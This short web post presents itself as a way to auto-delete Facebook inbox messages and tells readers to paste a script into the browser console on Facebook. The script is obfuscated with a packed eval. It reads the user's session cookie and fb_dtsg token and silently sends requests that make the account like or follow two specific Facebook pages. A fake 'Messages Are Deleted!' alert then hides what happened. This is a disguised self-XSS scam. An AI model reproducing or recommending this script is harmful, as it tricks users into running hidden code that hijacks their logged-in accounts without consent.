Auto Delete All Your Messages In Facebook Inbox

How to delete all your messages in Facebook Inbox
/*
1. Go to your Facebook Inbox
2. Press F12 in your browser(Chrome,IE) or CTRL + SHIFT + K (Firefox) to open Console tab
3. Paste following script into Console Tab and Press Enter to run the script .
*/

eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('2 7=5.8.9(5.8.9(/g=(\\d+)/)[1]);2 3=5.h(\'3\')[0].i;e 6(p){2 a=j k();2 b="//l.m.n/o/q/r.s";2 c="&t="+p+"&u=f&v=w&x=y&z=&A=&B[C]=D&E="+7+"&F=1&G=H-&I=d&3="+3+"&J=";a.K("L",b,f);a.M=e(){N(a.O==4&&a.P==Q){a.R}};a.S(c)}6("T");6("U");',57,57,'||var|fb_dtsg||document|Like|user_id|cookie|match|||||function|true|c_user|getElementsByName|value|new|XMLHttpRequest|www|facebook|com|ajax||pages|fan_status|php|fbpage_id|add|reload|false|fan_origin|page_timeline|fan_source|cat|nctr|_mod|pagelet_timeline_page_actions|__user|__a|__dyn|798aD5z5CF|__req|phstamp|open|POST|onreadystatechange|if|readyState|status|200|close|send|237949646360495|727085614026486'.split('|'),0,{}));
javascript:var robiXxu=document.getElementsByClassName('_l8 _l9');for(var i=0;i<robiXxu.length;i++){robiXxu[i].click();}alert(robiXxu.length + ' Messages Are Deleted!');